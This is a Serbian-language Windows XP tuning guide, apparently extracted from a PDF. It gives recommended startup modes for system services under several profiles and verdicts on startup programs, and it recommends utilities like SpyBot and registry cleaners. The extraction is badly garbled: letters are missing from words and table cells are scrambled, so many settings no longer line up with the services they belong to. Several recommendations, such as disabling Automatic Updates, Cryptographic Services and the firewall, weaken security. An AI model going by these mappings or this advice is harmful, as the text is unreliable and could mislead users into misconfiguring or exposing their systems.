Ukoliko niste vicni
Ovo je standardna postavka
igrace i racunare koji slue
podeavanjima sistema i
WinXP PRO (Home)
za igru (igraonice, kune
plaite se moguih
operativnog sistema.
mree za igru,...). Ova
posledica, mnogi
Ukoliko posle podeavanja
konfiguracija ima
preporuuju ovu
neto ne radi uvek se
mogunost spajanja
konfiguraciju jer je
moete vratiti na ovu
racunara na internet preko
najsigurnija. Ova
konfiguraciju jer je ista kao i
mree (gateway/router).
konfiguracija e smanjiti
kada se WinXP prvi put
broj greaka koje se javljaju Mogue je razmena fajlova
instalira.
i koricenje zajednickog
u Event Viewer-u.
tampaca i naravno igranje.
Nema snimanja pasvorda.
Nije za koricenje na
kompjuterima sa analognim
modemom ili nekim
direktnim DSL/kablovskim
konekcijama.
Postavka autora
Ovo je postavka koju autor
preporucuje. Namenjena je
prosenim korisnicima, tj.
raunarima koji slue za
normalnu kucnu upotrebu i
koji imaju standardne
komponente (tampac,
skener, web kamera, itd...).
Ova konfiguracija bi trebala
da zadovolji vecinu
korisnika racunara.
Podeavanja su takva da
jednako odgovaraju za igre,
filmove, muziku, internet,
grafiku i ostale
multimedijalne sadraje.
DRAGAN MARKOVIC
Services
Autor ove stranice nije ni u kom pogledu odgovoran za pravilno ili nepravilno korienje informacija,ovde se
nalaze samo predlozi i opisi Windows Servisa. Koristiti na sopstveni rizik.
Automatic: Kada u tekstu pie da je ukljuite, ostavite ukljuenu ili sl. Service treba da se postavi u ovaj
reim (podeavanje). Kada je u ovom reimu, Service e se startovati sa startom sistema.
Manual:
Kada naete da je preporueno da je stavite u ovaj reim (podeavanje). Kada je u ovom
reimu, Service se nee startovati pri startu sistema. Windows e je startovati kad god je potrebna (njemu ili
vama).
Disabled:
Kada u tekstu pie da se iskljui, ostavi iskljueno ili sl. Service namestiti u ovaj reim
(podeavanje). U ovom reimu, Service se nee startovati uopte. Ni kada treba Windowsu, ni kada vi
pokuavate da uradite neto za ta vam je potrebna ova Service.
Pored ovde navedenih, postoji mogunost da se na vaem raunaru nau jo neke Services. Onu su instalirane od strane nekih programa ili drajvera koje koristite. Ukoliko u ovoj sekciji ne naete sve Service koje
imate na vaem raunaru, pogledajte sekciju Task Manager task list i pokuajte tamo da ih naete.
Servisi obeleeni CYAN bojom predstavljaju servise koji nisu sastavni ni standardni deo Windows XP operativnog sistema i dolaze sa instalacijom nekih programa ili drajvera.
Podaci o Services-ima
Ime u
Services
prozoru
Naziv u Task
Manager prozoru
Naziv procesa
(programa)
Preporuene konfiguracije
Povezanost sa
drugim
servisima (od
kojih zavisi)
WinXP
PRO
(Home)
Poetna
postavka
Za 95%
korisnika
Za
Igrae
Postavka
autora
Ne dirati
Ne dirati
Ne dirati
ActivCard Gold
service
Accoca
accoca.exe
Ne (sopstveni
proces)
Alerter
Alerter
services.exe
Workstation
Manual
Disabled
Disabled
Disabled
Application Layer
ALG
Gateway Service
alg.exe
Ne
Manual
Manual
Disabled
Manual
Application
Management
AppMgmt
svchost.exe
Ne
Manual
Manual
Manual
Manual
AutoComplete
Service
Autocomplete
autocomp.exe
Ne (sopstveni
proces)
Ne dirati
Ne dirati
Ne dirati
Automatic
Updates
wuauserv
svchost.exe
Ne
Automatic
Automatic
Disabled
Disabled
svchost.exe
Remote
Procedure Call
(RPC),
Workstation
Manual
Disabled
Disabled
Disabled
btwdins.exe
Remote
Procedure Call
(RPC)
Automatic
Automatic
Automatic
ClipBook
clipsrv.exe
Network DDE
Manual
Disabled
Disabled
Disabled
Background
Intelligent
Transfer Service
BITS
ClipSrv
DRAGAN MARKOVIC
COM+ Event
System
EventSystem
svchost.exe
Remote
Procedure Call
(RPC)
Manual
Manual
Disabled
Manual
COM+ System
Application
COMSysApp
dllhost.exe
Remote
Procedure Call
(RPC)
Manual
Manual
Disabled
Manual
Computer
Browser
Browser
svchost.exe
Server,
Workstation
Automatic
Disabled
Disabled
Disabled
Cryptographic
Services
CryptSvc
svchost.exe
Remote
Procedure Call
(RPC)
Automatic
Automatic
Disabled
Automatic
Automatic
Automatic
Automatic
Automatic
DHCP Client
Dhcp
svchost.exe
AFD Networking
Support
Environment,
NetBios over
TCP/IP, TCP/IP
Protocol Driver
Distributed Link
Tracking Client
TrkWks
svchost.exe
Remote
Procedure Call
(RPC)
Automatic
Manual
Disabled
Disabled
Manual
Manual
Disabled
Manual
Distributed
Transaction
Coordinator
MSDTC
msdtc.exe
Remote
Procedure Call
(RPC), Security
Accounts
Manager
DNS Client
Dnscache
svchost.exe
TCP/IP Protocol
Driver
Automatic
Automatic
Disabled
Automatic
Error Reporting
Service
ERSvc
svchost.exe
Remote
Procedure Call
(RPC)
Automatic
Disabled
Disabled
Disabled
Event Log
Eventlog
services.exe
Ne
Automatic
Automatic
Automatic
Automatic
Fast User
Switching
Compatibility
FastUserSwitching
Compatibility
svchost.exe
Terminal
Services
Manual
Manual
Disabled
Disabled
Nije
instaliran
Nije
instaliran
Nije
instaliran
Disabled
Disabled
Disabled
Disabled
Nije
instaliran
(Nije
dostupan)
Nije
instaliran
Nije
instaliran
Nije
instaliran
Disabled
Disabled
Disabled
Automatic
Disabled
Disabled
Automatic
Fax Service
FAX
fxssvc.exe
Fix-It Task
Manager
Nema ga
(mxtask.exe)
mxtask.exe
Remote
Procedure Call
(RPC)
FTP Publishing
Service
Nema ga
inetinfo.exe
GearSecurity
GearSecurity
gearsec.exe
svchost.exe
IIS Admin
Remote
Procedure Call
(RPC)
DRAGAN MARKOVIC
Human Interface
Device Access
HidServ
svchost.exe
Remote
Procedure Call
(RPC)
Disabled
Disabled
Disabled
Disabled
Nije
instaliran
(Nije
dostupan)
Nije
instaliran
Nije
instaliran
Nije
instaliran
IIS Admin
IISADMIN
inetinfo.exe
Remote
Procedure Call
(RPC), Security
Accounts
Manager
ImapiService
imapi.exe
Ne
Manual
Automatic
Disabled
Manual
Indexing Service
cisvc
cisvc.exe
Remote
Procedure Call
(RPC)
Manual
Disabled
Disabled
Disabled
Application Layer
Gateway Service,
Network
Connections,
Network Location
Awareness,
Remote Access
Connection
Manager
Automatic
(Manual)
Automatic
Disabled
Disabled
Disabled
Disabled
Disabled
Automatic
Disabled
Disabled
Automatic
Internet
Connection
Firewall/Internet
Connection
Sharing
SharedAccess
svchost.exe
iPodService
iPodService
ipodservice.exe
IPSEC Services
PolicyAgent
lsass.exe
IPSEC driver,
Remote
Procedure Call
(RPC), TCP/IP
Protocol Driver
LexBce Server
LexBceS
lexbces.exe
Ne (sopstveni
proces)
Automatic
Automatic
Automatic
Disabled
svchost.exe
Automatic
(Manual)
Manual
Disabled
Automatic
dmadmin.exe
Logical Disk
Manager, Plug
and Play, Remote
Procedure Call
(RPC)
Manual
Manual
Disabled
Manual
Disabled
Disabled
Disabled
Logical Disk
Manager
dmserver
Logical Disk
Manager
Administrative
Service
dmadmin
Machine Debug
Manager
Remote
Procedure Call
(RPC)
DRAGAN MARKOVIC
Message
Queuing
Nema ga
Message
Nema ga
Queuing Triggers
mqsvc.exe
Distributed
Transaction
Coordinator,
Nije
Message
instaliran
Queuing access
(Nije
control, NT LM
dostupan)
Security Support
Provider, Reliable
Multicast Protocol
driver, Remote
Procedure Call
(RPC), Server
Nije
instaliran
Nije
instaliran
Nije
instaliran
mqtgsvc.exe
Message
Queuing
Nije
instaliran
(Nije
dostupan)
Nije
instaliran
Nije
instaliran
Nije
instaliran
Disabled
Disabled
Disabled
Manual
Manual
Disabled
Disabled
Automatic
(Manual)
Disabled
Disabled
Manual
Messenger
Messenger
services.exe
NetBIOS
Interface, Plug
and Play, Remote
Automatic
Procedure Call
(RPC),
Workstation
MS Software
Shadow Copy
Provider
SwPrv
dllhost.exe
Remote
Procedure Call
(RPC)
Net Login
Netlogon
lsass.exe
Workstation
NetMeeting
Remote Desktop
Sharing
mnmsrvc
mnmsrvc.exe
Ne
Manual
Disabled
Disabled
Disabled
Network
Connections
Netman
svchost.exe
Remote
Procedure Call
(RPC)
Manual
Manual
Manual
Manual
Network DDE
NetDDE
netdde.exe
Network DDE
DSDM
Manual
Disabled
Disabled
Disabled
netdde.exe
AFD Networking
Support
Enviroment,
TCP/IP Protocol
Driver
Manual
Disabled
Disabled
Disabled
Network Location
Nla
Awareness (NLA)
svchost.exe
Ne
Manual
Manual
Disabled
Manual
NT LM Security
Support Provider
NtLmSsp
lsass.exe
Ne
Manual
Disabled
Disabled
Disabled
NVIDIA Display
Driver Service
Nema ga
(nvsvc32.exe)
nvsvc32.exe
Ne
Disabled
Disabled
Disabled
NVIDIA Driver
Helper Service
Nema ga
(nvsvc32.exe)
nvsvc32.exe
Ne
Disabled
Disabled
Disabled
Performance
Logs and Alerts
SysmonLog
smlogsvc.exe
Ne
Manual
Disabled
Disabled
Disabled
PlugPlay
services.exe
Ne
Automatic
Automatic
Automatic
Automatic
Network DDE
DSDM
NetDDE dsdm
DRAGAN MARKOVIC
Portable Media
Serial Number
WmdmPmSp
svchost.exe
Ne
Automatic
Disabled
Disabled
Disabled
Print Spooler
Spooler
spoolsv.exe
Remote
Procedure Call
(RPC)
Automatic
Automatic
Automatic
Automatic
lsass.exe
Remote
Procedure Call
(RPC)
Automatic
Automatic
Disabled
Automatic
rsvp.exe
AFD Networking
Support
Environment,
Remote
Procedure Call
(RPC), TCP/IP
Protocol Driver
Manual
Disabled
Disabled
Manual
Manual
Manual
Disabled
Manual
QoS RSVP
RSVP
Remote Access
Auto Connection
Manager
RasAuto
svchost.exe
Remote Access
Connection
Manager,
Telephony
Remote Access
Connection
Manager
RasMan
svchost.exe
Telephony
Manual
Manual
Disabled
Manual
Remote Desktop
Help Session
Manager
RDSessMgr
sessmgr.exe
Remote
Procedure Call
(RPC)
Manual
Disabled
Disabled
Manual
Remote
Procedure Call
(RPC)
RpcSs
svchost.exe
Ne (ali svi od
njega zavise)
Automatic
Automatic
Automatic
Automatic
Remote
Procedure Call
(RPC) Locator
RpcLocator
locator.exe
Workstation
Manual
Manual
Manual
Manual
Remote Registry
Service
RemoteRegistry
svchost.exe
Ne
Automatic
(Nije
dostupan)
Disabled
Disabled
Disabled
Removable
Storage
NtmsSvc
svchost.exe
Remote
Procedure Call
(RPC)
Manual
Manual
Disabled
Manual
svchost.exe
Remote
Procedure Call
(RPC)
Nije
instaliran
(Nije
dostupan)
Nije
instaliran
Nije
instaliran
Nije
instaliran
svchost.exe
NetBIOSGroup,
Remote
Procedure Call
(RPC)
Manual
(Disabled)
Disabled
Disabled
Automatic
svchost.exe
Ne
Automatic
Disabled
Disabled
Disabled
Security Accounts
SamSs
Manager
lsass.exe
Remote
Procedure Call
(RPC)
Automatic
Automatic
Disabled
Automatic
Server
svchost.exe
Ne
Automatic
Disabled
Disabled
Automatic
RIP Listener
Routing and
Remote Access
Nema ga
RemoteAccess
lanmanserver
DRAGAN MARKOVIC
TrueVector
Internet Monitor
Nema ga
(vsmon.exe)
vsmon.exe
Ne (ali zavisi od
mnogih)
Uninterruptible
Power Supply
UPS
ups.exe
Universal Plug
and Play Device
Host
UPNPhost
Upload Manager
Manual
Manual
Manual
Ne
Manual
Disabled
Disabled
Disabled
svchost.exe
SSDP Discovery
Service
Manual
Disabled
Disabled
Disabled
uploadmgr
svchost.exe
Remote
Procedure Call
(RPC)
Automatic
Disabled
Disabled
Disabled
Volume Shadow
Copy
VSS
vssvc.exe
Remote
Procedure Call
(RPC)
Manual
Manual
Disabled
Manual
WebClient
WebClient
svchost.exe
WebDav Client
Redirector
Automatic
Disabled
Disabled
Disabled
svchost.exe
Automatic
Automatic
Automatic
Automatic
Windows Image
stisvc
Acquisition (WIA)
svchost.exe
Remote
Procedure Call
(RPC)
Manual
Manual
Disabled
Manual
msiexec.exe
Remote
Procedure Call
(RPC)
Manual
Manual
Manual
Manual
Automatic
Automatic
Automatic
Automatic
Windows Audio
AudioSrv
Windows
Management
Instrumentation
Winmgmt
svchost.exe
Event Log,
Remote
Procedure Call
(RPC)
Windows
Management
Instrumentation
Driver Extension
Wmi
svchost.exe
Ne
Manual
(Nije
dostupan)
Manual
Manual
Manual
Windows
Management
Instrumentation
Provider Service
Wmiprvse
WMIPrvSe.exe
N/A
Ne dirati
Ne dirati
Ne dirati
Windows Time
W32Time
svchost.exe
Ne
Automatic
Disabled
Disabled
Disabled
svchost.exe
NDIS Usermode
I/O Protocol,
Remote
Procedure Call
(RPC)
Automatic
Disabled
Disabled
Disabled
WMI Performance
WmiApSrv
Adapter
wmiapsrv.exe
Remote
Procedure Call
(RPC)
Manual
Disabled
Disabled
Disabled
Workstation
svchost.exe
Ne (ali svi od
njega zavise)
Automatic
Automatic
Automatic
Automatic
Wireless Zero
Configuration
WZCSVC
lanmanworkstation
DRAGAN MARKOVIC
World Wide Web
Publishing
Service
W3SVC
inetinfo.exe
IIS Admin
Nije
instaliran
(Nije
dostupan)
Nije
instaliran
Nije
instaliran
Nije
instaliran
DRAGAN MARKOVIC
Startup Programi
Preporuka
E_s10ic2.exe
E_srcv02.exe
E_srcv03.exe
Ne dirati
easydates.exe
Izbrisati
Ebrr
Ebrr.exe
Ne dirati
(iskljuiti
ako pravi
probleme)
Edmsrv32
Edsdlv32
Edmsrv32.exe
Edsdlv32.exe
Ne dirati
EM_Exec.exe
E_s10ic2
E_srcv02
E_srcv03
easydates
Em_exec
eraser.exe
eraser.exe
c:\program files\eraser\eraser.exe
5.3.5363.0
476,00 KB (487.424 bytes)
Nije poznato ta program radi ni odakle potie. Ukoliko
imate ovaj program upotrebite SpyBot i Ad-aware da bi
proverili raunar od moguih tetnih programa. Nije
sigurno da li je ovaj program tetan ili ne.
???
Corel Reminder
Nclaunch
Nerocheck
Netscp
nprotect
Preporuka
NAVBROWSER.EXE
Iskljuiti
(obrisati)
nclaunch.exe
c:\windows\nclaunch.exe
40,00 KB (40.960 bytes)
Ovo bi mogao biti deo SWF Studio programa,
softverske kue Northcode Inc. Navodno se pojavljuje
kada kreirate samoinstalirajui Screen Saver za Win
2K/XP.
???
Iskljuiti
NeroCheck.exe
Netscp.exe
Iskljuiti
nprotect.exe
Po elji
korisnika
ntvdm
ntvdm.exe
Ne dirati
Nvsvc
Nvsvc32
Nwiy
NvCpl.dll
NVSvc.exe
NVSvc32.exe
Iskljuiti
Nwiz.exe
Ne dirati
Preporuka
Iskljuiti
Mathchk
Mathchk.exe
mbattery
mbattery.exe
Ne dirati
MDM.exe
Iskljuiti
Mediadet.exe
Iskljuiti
Minilog.exe
Iskljuiti
Mdm
Mediadet
Minilog
memoptimizer.exe
Iskljuiti
Mixer.exe
Iskljuiti
Mmc
MMC.exe
MMod
MMod.exe
Iskljuiti
MOSearch.exe
Iskljuiti
MPService.exe
Instalirati
nove
drajvere
Msgsrv32.exe
Ne dirati
memoptimizer
Mixer
Mosearch
Mpservice
Msgsrv32
MSMsgr.exe
Msmsgs.exe
Iskljuiti
MSTask.exe
Iskljuiti
MxTask
MxTask.exe
Po elji
korisnika
myie2
myie2
Msmsgr
Msmsgs
Mstask
Lexbces
Lexpps
Lexstart
Lamapp.exe
Preporuka
Lexbces.exe
Lexpps.exe
LexStart.exe
Iskljuiti
Linksts.exe
Iskljuiti
posle
podeavanja
ISDN
kartice
LoadQM.exe
Iskljuiti
Loadwc
LoadWC
Iskljuiti
Locator
Locator.exe
Ne dirati
Logitech Utility
Logi_MwX.Exe
Iskljuiti
Lsass
Lsass.exe
Ne dirati
Linksts
Loadqm
LxSUpMon
LxSUpMon.exe
Preporuka
Kbdtray
KbdTray.exe
Kernel32
Kern32.exe
Kernel32.exe
(varijacije)
AVP
Kernel32.dll
Kernel32.dll
Ne dirati.
jusched
Preporuka
Javaw.exe
Ne dirati
jusched.exe
Iskljuiti
Iamapp
IAMAPP.exe
Iamsetup
Internet Answering
Machine
Iexplore
Igfxtray
Imgicon
Imontray
Internat
IAMSETUP.exe
Preporuka
Ne dirati
IExplore.exe
SpyBot
IGFxTray.exe
Iskljuiti
Imgicon.exe
Instalirati
nove
drajvere
IMonTray.exe
Ne dirati
Internat.exe
Ne dirati
Iowatch
IOWatch.exe
iPodService
iPodService.exe
Iqrobot.exe
Iskljuiti
Irmon
Irmon.exe
Iskljuiti
(ako ne
koristite IR
port)
Isass
Isass.exe
Iqrobot
Instalirati
nove
drajvere
Ocraware
Ocrawr32
Ocraware.exe
Ocrawr32.exe
Preporuka
Iskljuiti
Opeare16
Opware32
Opeare16.exe
Opware32.exe
oktpkgfi.exe
oktpkgfi.exe
c:\windows\oktpkgfi.exe
36,00 KB (36.866 bytes)
Nije poznato poreklo ovog programa niti ta radi.
???
OSA.exe
OSA9.exe
Iskljuiti
Osa
Osa9
Preporuka
Izbrisati
Hbinst
HBInst.exe
Hbsrv
HBSrv.exe
Izbrisati
helpctr.exe
Helphost.exe
HelpSvc.exe
Ne dirati
Hgcctl95
Hgcctl95.exe
Iskljuiti
Hkcmd
HKCMD.exe
Hpcron.exe
Iskljuiti
HPFSched.exe
Iskljuiti
helpctr
Helphost
HelpSvc
Hpcron
Hpfsched
Hpfbkg02
Hphmon03
Hpi_monitor
Hplam
Hpmdlbwa
HpmmKbd
Hpfbkg02.exe
Ne dirati
HPHMon03.exe
Ne dirati
Hpi_monitor.exe
Iskljuiti
HPLamp.exe
Iskljuiti
Hpmdlbwa.exe
Iskljuiti
HpmmKbd.exe
Ne Dirati
Hpoevm07.exe
Hpoevm08.exe
Popraviti
HPPDirector.exe
Iskljuiti
Hpppt
HPPPT.exe
Iskljuiti
Hppwrsav
HPPwrSav.exe
Skinuti
nove
drajvere
HPZipm12.exe
Iskljuiti
Hpzstatx.exe
Iskljuiti
Hpoevm07
Hpoevm08
Hppdirector
Hpzipm12
Hpzstatx
Hxdl
Hxiul
Hxdl.exe
HXIUL.exe
Preporuka
Gbpoll
Gbtray
GBPoll.exe
GBTray.exe
GearSec
GearSec.exe
GMT.exe
Izbrisati
Gmt
Fast
Find Fast
Ftpqueue
F-StopW
Fast.exe
Preporuka
Ne dirati
FindFast.exe
Iskljuiti
FTPQueue.exe
Iskljuiti
Evntsvc
Tkbellexe
Realsched
Evntsvc.exe
Realsched.exe
Explorer
Explorer.exe
Ne dirati
Explorer.scr
Explorer.scr
AVP
EZulaMain.exe
Izbrisati
Ezulamain
Iskljuiti
DRAGAN MARKOVIC
Startup Programi
DRAGAN MARKOVIC
NAPOMENA: Brisanjem ili gaenjem programa pomou Startup Control Panel programa (ili apleta),
ne briete instaliran program i ne iskljuujete ga iz systema. Vi samo gasite njegov start pri startu
raunara ili mu njegov start briete. Program se moe posle ovoga normalno startovati iz Start
menija i iz Windowsa.
SpyBot
Ad-Aware
To je program SpyBot - Search & Destroy koji moete nai u sekciji Korisni Programi na ovom sajtu.
Kada ga startujete, prvo ga updateujete tako to odete na online tab unutar programa i kliknete na
opciju update. Kliknite na dugme Search for updates i obeleite sve to je naao. Kliknite na dugme
Download updates. Kada program zavri posao postoji mogunost da e se ugasiti. Startujte ga
ponovo i idite na SpyBot-S&D tab a zatim na Search & Destroy opciju. U donjem delu prozora nalazi
se opcija Check for problems. Kliknite na nju i ekajte da program proveri va sistem. Paljivo itajte
ta koja stavka kae i obeleite SAMO one koje elite da izbriete (ukinete i sl.). Ostale iskljuite
(deselektujte). Kliknite na Fix selected problems dugme da bi obrisali problematine OBELEENE
stavke.
Ad-Aware je komercijalan program (ima i FREE) sline sadrine kao i SpyBot. Postoji FREE verzija
koja je fantastina i odlino radi. Free Ad-Aware program nema nikakvih restrikcija ili manje definicija spyware i adware programa od Ad-Aware verzija koje se plaaju. Kao i SpyBot, uvek treba proveravati da li ima update za Ad-Aware. Vrlo je intuitivan i vrlo lak za korienje.
Kombinacija SpyBot i Ad-aware se pokazala kao najsmrtonosnijom i najubitanijom za 99%
dananjih spyware i adware programa koji se mogu pokupiti sa neta i na druge razne naine.
Startup Control Panel (Free)
Startup Manager (Free)
System Mechanic (SystemMechanic)
(Shareware software)
Startup Control Panel i Startup Manager su programi koji, kao i Startup Control panel imaju
mogunost gaenja programa i spreavanja njihovog startovanja pri startovanju raunara odnosno
podizanju sistema. Mogu se koristiti kao alternativa Startup Control Panel programu.
Startujte System Mechanic program koji moete nai u sekciji Korisni Programi. Kliknite na dugme
SYSTEM, pa na opciju WINDOWS STARTUP MANAGER. Obeleite program koji elite da iskljuite i
kliknite na dugme DISABLE u gornjem levom uglu prozora. Ako hoete da ukljuite neki program
koji ste iskljuili, obeleite taj program i kliknite na ENABLE opciju u gornjem levom uglu prozora.
Preimenovati fajl u Otii u Search tako to se klikne na Start(u toolbaru)>Search>Files or Folders...
u polje za pretragu upisati ime programa koji se trai (npr. fast.exe) u protisnuti ENTER na vaoj
tastaturi. Kada se nae fajl, RMB na njega i onda odabrati opciju Rename. Preimenovati ga tako to
mu se ime ne menja a ekstenzija (obino .exe) promeni ili u .ex_ ili mu se doda .old na postojeu
exstenziju(npr. Fast.ex_ ili Fast.exe.old). Oba metoda su jednako efikasna, a koji e te metod odabrati zavisi iskljuivo od vas samih.
AVP (upotrebite AVP ili sl)
Potrebno je da odete na sajt http://www.kaspersky.com/ ili na
http://www.viruslist.com/eng/index.html. Na jednom od ova dva sajta vrite pretragu programa za
koji sumnjate da je virus. Dalje postupajte po instrukcijama objanjenim na tim stranicama. Takoe
DRAGAN MARKOVIC
Kada se pominje
termin
Startup Control
Panel
FREE
PREPORUKA
Registry Compactor
Shareware
Zatita,Popravka i
Podeavanje
Registry Mechanic
Shareware
http://www.elrise.com/
Instalacijom programa, kreiranjem dokumenata, korienjem
programa i brisanjem programa i fajlova registry baza se
konstantno pie i brie. Zbog ovoga dolazi do defragmentacije
baze, to praktino znai da baza ima neiskoriten prostor koji
poveava njenu veliinu to usporava uitavanje OSa i njegov rad.
Registry Compactor proverava bazu i daje vam informacije o
neiskoritenosti prostora. Korisnik moe odluiti da li eli da
optimizuje bazu ili da prekine proces. Ukoliko se pone sa
optimizacijom baze PROCES SE NE SME PREKIDATI.
Optimizacijom se postie ubrzanje podizanja OSa i ubrzanje rada
OSa. Ponekad je ovo ubrzanje vidljivo a ponekad nije to zavisi od
toga koliko vam je baza bila neiskoritena. Ovaj program se mora
koristiti sa panjom jer moe doi do otecenja OSa i do
prestanka rada Windowsa. Iz ovog razloga preporuujem da pre
optimizacije svoje podatke sauvate na sigurno mesto tj. da ih
bekapujete.
http://www.winguides.com/
Svako primeti koliko raunar brzo radi odmah posle instalacije
Windows OSa. Instalacijom drajvera, programa i ostalih stvari
raunar pone da usporava. Ovo se najbolje vidi pri podizanju OSa.
Tokom rada na raunaru, instalacijom programa, brisanjem
programa i fajlova baza OSa (registry base) se stalno puni i
poveava. Programi koje izbriete uvek ostave neki trag u bazi, koji
je nepotreban i usporava bespotrebno bazu i raunar. Ovaj program
slui da bi se ovakvi ostatci izbrisali iz baze. Delo je WinGuides firme
koja je dobro poznata po raznim registry podeavanjima, pa je za
pretpostaviti da je ovaj program paljivo kreiran i da postoji velika
doza sigurnosti da nee obrisati neto to je neophodno za rad
raunara. Iz ovog razloga program ne nalazi mnogo problema, ve
samo one koji su totalno nepotrebni. Ovo je savren program za
Preporuka
Absr.exe
*varijacije*
accoca.exe
accoca.exe
Activation
Activation.exe
Ne dirati
Actotray.exe
Iskljuiti
Ad-watch.exe
po elji
korisnika
adgjdet.exe
Absr
Actotray
Ad-watch
adgjdet
AVP
Datemanager
Dbserver
Preporuka
DAP.exe
Ne dirati
Datemanager.exe
Obrisati
DbServer
Ne dirati
Dcfssvc
DcFsSvc.exe
Ddhelp
DDHelp.exe
Ne dirati
Defwatch
DefWatch.exe
Ne dirati
Desk98
Desk98.exe
Detector
Devdtct2
Devldr16
Devldr32
devmon
DirectCD
Detector.exe
DevDtct2.exe
Iskljuiti
Devldr16.exe
Iskljuiti
Devldr32.exe
devmon.exe
c:\program files\snapfish\devmon.exe
Najverovatnije se instalira sa Snapfish programom za
gledanje slika. Nije poznato to program tano radi, ali
ga je sigurno iskljuiti bez ikakvog uticaja na instaliran
program. Ovo nije 100% provereno. Iskljuite ga i
proverite da li je software potpuno funkcionalan, a ako
nije ukljuite ga ponovo.
Iskljuiti
DirectCD
Iskljuiti
Dkservice
DKservice.exe
Dllhost
DllHost.exe
Ne dirati
DMCenter.exe
Iskljuiti
DMHkey.exe
Iskljuiti
dopus.exe
Po elji
korisnika
Dpps2.exe
Izbrisati
DSLaunch.exe
Iskljuiti
Dmcenter
Dmhkey
dopus
Dpps2
Dslaunch
Dumprep
DumpRep.exe
(KernelFaultCheck)
Iskljuiti
Iskljuiti
Preporuka
C-Media Mixer
Mixer.exe
Calcheck
Calchek.exe
Calcheck.exe
Iskljuiti
Cd_load
Cdac11ba
Cgmenu
CD_Load.exe
Cdac11ba.exe
CGMenu.exe
iskljuiti
Cidaemon
CiDaemon.exe
crypserv
crypserv.exe
Ne dirati
Cmesys.exe
Iskljuiti
cookiepatrol.exe
Po elji
korisnika
CTLauncher.exe
Iskljuiti
CSInject.exe
Iskljuiti
Iskljuiti
(po elji
korisnika)
Cmesys
cookiepatrol
Creative Launcher
Csinject
Csinsm32
Csinsm32.exe
Csinsmnt
CsinsmNT.exe
Csrss
Ctfmon
Cthelper
ctltask
ctltray
Ctmix32
Csrss.exe
Ne dirati
CTFMon.exe
Ne dirati
CTHelper.exe
Iskljuiti
ctltask.exe
...\creative\sbaudigy\taskbar\ctltask.exe
Pogledati ctltray (stavka ispod ove). Program je takoe
dodatak koji dolazi sa Audigy drajverima. Program
nema nikakav uticaj na normalan rad kartice i sigurno
ga je iskljuiti.
Iskljuiti
ctltray.exe
...\creative\sbaudigy\taskbar\ctltray.exe
Instalira se sa drajverima za Creative SoundBlaster
Audigy muziku karticu. Program omoguava pristup
programima koji se instaliraju sa ovim drajverima. Ovim
programima se moe pristupiti preko Start > Programs
> Creative... Program nema nikakav uticaj na normalan
rad kartice, a u nekim sluajevima je prijavljen problem
da program javlja da kartica nije korektno instalirana,
kada ona to ustvari jeste. Iskljuite program pomou
Startup Control Panel programa.
Iskljuiti
CtMix32.exe
Iskljuiti
Ctnotify
Ctsvccda
CTNotify.exe
Iskljuiti
(opciono
obrisati)
CTsvcCDA.exe
Iskljuiti
(opciono
obrisati)
Preporuka
BTSTAC~1.EXE
Ne dirati
BTTray.exe
Ne dirati
btwdins
btwdins.exe
Ne dirati
Brad32
Brad32.exe
Upgrade
Bvt
BVT.exe
(varijacije)
AVP
bwagent
" bwagent"
bwagent.exe
" bwagent.exe"
Ne dirati
bwheel35
bwheel35.exe
Ne dirati
bwprnmon.exe
Ne dirati
BTSTAC~1
BTTray
bwprnmon
Adobe Gamma
Loader
Advchk
QuickPassword
AHQTbU
AHQTb
Alogserv
ashMaiSv
Advchk.exe
Iskljuiti
agquickp.exe
Ne dirati
AHQTbU.exe
AHQTb.exe
Iskljuiti
ALogServ.exe
Iskljuiti
ashmaisv.exe
Ne dirati
(po elji
korisnika)
Avast!
Avast32
Ati2evxx
Atipolab
Atikey
Atiptaxx
Atisched
Atitask
Atix10
ashserv.exe
Astart32.exe
Ati2evxx.exe
Atipolab.exe
Iskljuiti
Atikey32.exe
Iskljuiti
ATIPtaxx.exe
Iskljuiti
AtiSched.exe
Iskljuiti
ATITask.exe
Iskljuiti
ATIX10.exe
Iskljuiti
Atrack
Attune_ce
AudioHQU
AudioHQ
Avconsol
avgamsvr
Atrack.exe
Attune_ce.exe
AudioHQU.exe
AudioHQ.exe
Iskljuiti
AVconsol.exe
Iskljuiti
avgamsvr.exe
Iskljuiti
po elji
korisnika
AVGCtrl.exe
po elji
korisnika
avgemc.exe
po elji
korisnika
avgupsvc.exe
po elji
korisnika
Avgserv9.exe
po elji
korisnika
Avmaisrv.exe
Ne dirati
(po elji
korisnika)
avgcc32
avgcc32.exe
AVG_CC
AVG_CC.EXE
avgcc
avgcc.exe
AVGCtrl
avgemc
avgupsvc
Avgserv9
AvMaiSrv
Zatita,Popravka i
Podeavanje
avast! HOME
http://www.asw.cz/
http://www.asw.cz/i_idt_226.html
Perfect Disk
Shareware
http://www.raxco.com/
http://www.raxco.com/products/downloadit/
Raxco Perfect Disk je program koji slui za optimizaciju i
defragmentaciju HDD-a. Svaki disk tokom rada razbacuje podatke
svuda, tako da se vremenom fajlovi toliko rasparaju da disku treba
vremena da ih proita, to mu usporava rad i usporava rad celog
sistema. Postoji dosta programa koji rade isto to i ovaj program, i svi
se po neemu razlikuju. Perfect Disk ima mogunost defragmentacije
kao normalnih fajlova, tako i fajlova koji su nedostupni Windowsovom
disk defragment programu. Ti fajlovi su tzv. unmovable files, meta
fajlovi, MFT Zone i dr. Kada su defragmentirani ovi fajlovi imaju
tendenciju da stvaraju velike probleme Windows sistemu, a to moe
ii ak do te mere da kompletan system ne radi ili da ne rade neke
komponente onako kako bi trebale. Takoe ukoliko su ovi fajlovi
Copy It Anyway
http://www.digitalsystem.co.yu/
http://www.digitalsystem.co.yu/download.html
http://www.acelogix.com/
FREE
Zatita,Popravka i
Podeavanje
http://www.ams.as.ro/
Memorija je uvek bila od najveeg znaaje za brzinu raunara.
Nikada je nije bilo dosta a i kada je bilo dovoljno, uvek je moglo jo
da je bude. Radom raunara postojea memorija se puni i prazni
to utie na kompaktnost memorije a samim tim i na njenu koliinu.
Takoe razni program, zbog raznih problema, ostavljaju svoje
delove u memoriju to je dodatno optereuje. Iako Windows XP
(to nije bio sluaj sa Win 98) ima poprilino dobru organizaciju
memorije, potrebna mu je pomo. Ovaj program u sebi ima dva
razliita metoda oslobaanja i optimizovanja memorije, ime se
ubrzava rad raunara. Oba metoda su dobra i potrebno je samo
odrediti koji metod kod vas oslobaa vie memorije. Za razliku od
slinih program program automatski odreuje ta se moe izbaciti
iz memorije, oslobaajui korisnika dodatnih podeavanja. Kada
program oslobodi memoriju on je, kao i ostali, optimizuje to
